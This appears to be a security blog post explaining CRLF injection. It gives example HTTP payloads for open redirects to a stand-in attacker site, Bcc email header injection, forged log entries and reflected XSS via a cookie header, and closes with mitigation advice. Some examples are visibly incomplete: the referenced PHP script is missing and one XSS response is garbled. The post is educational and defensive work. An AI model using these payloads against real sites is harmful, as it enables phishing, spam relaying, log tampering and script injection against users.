CRLF Injection: A Critical Web Application Vulnerability

CRLF (Carriage Return Line Feed) injection is a type of attack that targets web applications through the manipulation of HTTP headers. The term “CRLF” refers to the characters used to mark the end of a line in HTTP requests and responses. These characters (\r\n) are critical in marking boundaries between headers and their values, and when abused, they allow attackers to inject malicious content or manipulate server behavior.

In this blog post, we’ll dive into what CRLF injection is, where it’s commonly found, and how attackers can exploit it to cause significant damage, such as redirecting users to malicious sites, sending unauthorized emails, logging false entries, and executing cross-site scripting (XSS) attacks.

What is CRLF Injection?

CRLF injection occurs when an attacker injects CRLF characters into user-controllable input, which is then included in HTTP headers or server-side outputs. This exploitation happens due to improper input validation or poor sanitization of input data. Attackers can use CRLF injection to manipulate headers, redirect users to malicious websites, send unauthorized emails, or execute malicious scripts.

Common Places for CRLF Injection Exploitation

Exploiting Automatic Directory Completion

A common vulnerability occurs when a website’s directory completion feature automatically appends a slash to URLs. For instance, a website might redirect you to a directory with a trailing slash when you access it without one:

GET /helloworld <-- no slash HTTP/1.1 Host: site.com Accept: application/json

The server responds by redirecting you to the following URL:

HTTP/1.1 301 Moved Permanently Location: /hello-world/ <-- slash

Now, an attacker can inject CRLF characters to manipulate the redirection, resulting in the following request:

GET /helloworld%0d%0aLocation%3A%20https%3A%2F%2Fhacker-site.com HTTP/1.1 Host: site.com Accept: application/json

This response contains two Location headers:

HTTP/1.1 302 Found Location: /hello-world Location: https://hacker-site.com/

Anyone clicking the manipulated URL will be redirected to a malicious website instead of the intended /hello-world page.

Exploiting Redirections

CRLF injection can also be used in redirection functionality. For example, an API may redirect users to a provided URL:

GET /api/redirect?url=https%3A%2F%2Fsite.com%2Fhello-world HTTP/1.1 Host: site.com Accept: application/json

The server responds with:

HTTP/1.1 302 Found Location: https://site.com/hello-world

By injecting CRLF characters into the URL parameter, the attacker can alter the redirection:

GET /api/redirect?url=%2Fhello-world%0d%0aLocation%3A%20https%3A%2F%2Fhacker-site.com HTTP/1.1 Host: site.com Accept: application/json

The response will now look like this:

HTTP/1.1 302 Found Location: /hello-world Location: https://hacker-site.com/

This results in users being redirected to the attacker’s website instead of the legitimate one.

Email Injection

One of the more dangerous attack vectors for CRLF injection is email systems. If user input is incorporated into email headers without proper validation, an attacker can inject arbitrary headers, potentially sending emails to unintended recipients or modifying the behavior of the email server.

Consider a vulnerable PHP script that sends a feedback email:

If the name input is not sanitized properly, an attacker can inject CRLF characters to create custom email headers, such as the Bcc header to send the email to multiple recipients:

POST /feedback.php HTTP/1.1
Host: site.com
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 121

name=peter%0d%0aBcc%3A%20notaniceguy%40company.com&replyTo=peter%40serious.bznes&message=You're%20not%20a%20nice%20guy%20%3A(

This results in the email headers being:

From: peter
Bcc: notaniceguy@company.com
Reply-To: peter@serious.bznes

As a result, the email is sent not only to the intended recipient but also to the attacker’s specified recipient.

Log Injection

CRLF injection can be exploited in logging systems to inject custom log entries, which can mislead administrators or fill logs with irrelevant information. For example, if a system logs user login attempts:

1708853728374:peter:False
1708853743574:peter:True

An attacker can inject a malicious entry:

peter:False%0d%0a1708853860227:admin:True

The resulting log file would look like this:

1708853728374:peter:False
1708853743574:peter:True
_________________________
1708853860227:admin:True <-- Fake log entry!

This could potentially trick the administrator into believing that the attacker successfully logged in as the admin user at a specific time.

Reflected XSS

Another potential exploitation of CRLF injection occurs when user input is reflected in cookies or HTTP headers. For example, if a website stores the lang parameter in a cookie:

GET /language?lang=en-US HTTP/1.1
Host: site.com
Accept: text/html

The response might include:

HTTP/1.1 301 Moved Permanently
Location: /
Set-Cookie: lang=en-US;

An attacker can inject malicious JavaScript using CRLF to break the cookie and inject an arbitrary Content-Type header:

GET /language?lang=en-US%3B%3C%0d%0a%3EContent-Type%3A%20text%2Fhtml%3C%0d%0a%3EContent-Length%3A25%3C%0d%0a%0d%0a%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: site.com
Accept: text/html

The response would now include the injected payload:

HTTP/1.1 301 Moved Permanently
Location: /
Set-Cookie: lang=en-US;
Content-Type: text/html
Content-Length: 25

;

This results in a reflected XSS vulnerability, executing the injected script in the user’s browser.

How to Protect Against CRLF Injection

To mitigate CRLF injection vulnerabilities, web applications must adopt secure coding practices:

Sanitize User Input: Ensure that user-controlled data does not contain CRLF characters before using it in HTTP headers or logs. Reject or encode CRLF sequences if detected.
Use Prepared Statements: For scenarios like email injection or SQL queries, always use prepared statements or parameterized queries to avoid injection risks.
Set Proper Content Security Policies: For XSS protection, implement content security policies (CSP) that prevent the execution of malicious scripts.
Log Sanitization: Ensure that all logs are sanitized before writing them to files or databases. This helps avoid the manipulation of logs by attackers.

Conclusion

CRLF injection is a powerful attack vector that can result in severe security vulnerabilities, such as email injection, HTTP response splitting, and reflected XSS attacks. Understanding the risks and applying appropriate mitigation strategies — such as input sanitization, secure coding practices, and proper validation — can significantly reduce the likelihood of CRLF injection attacks. By improving the security of your web applications, you can protect users and maintain the integrity of your system.

References: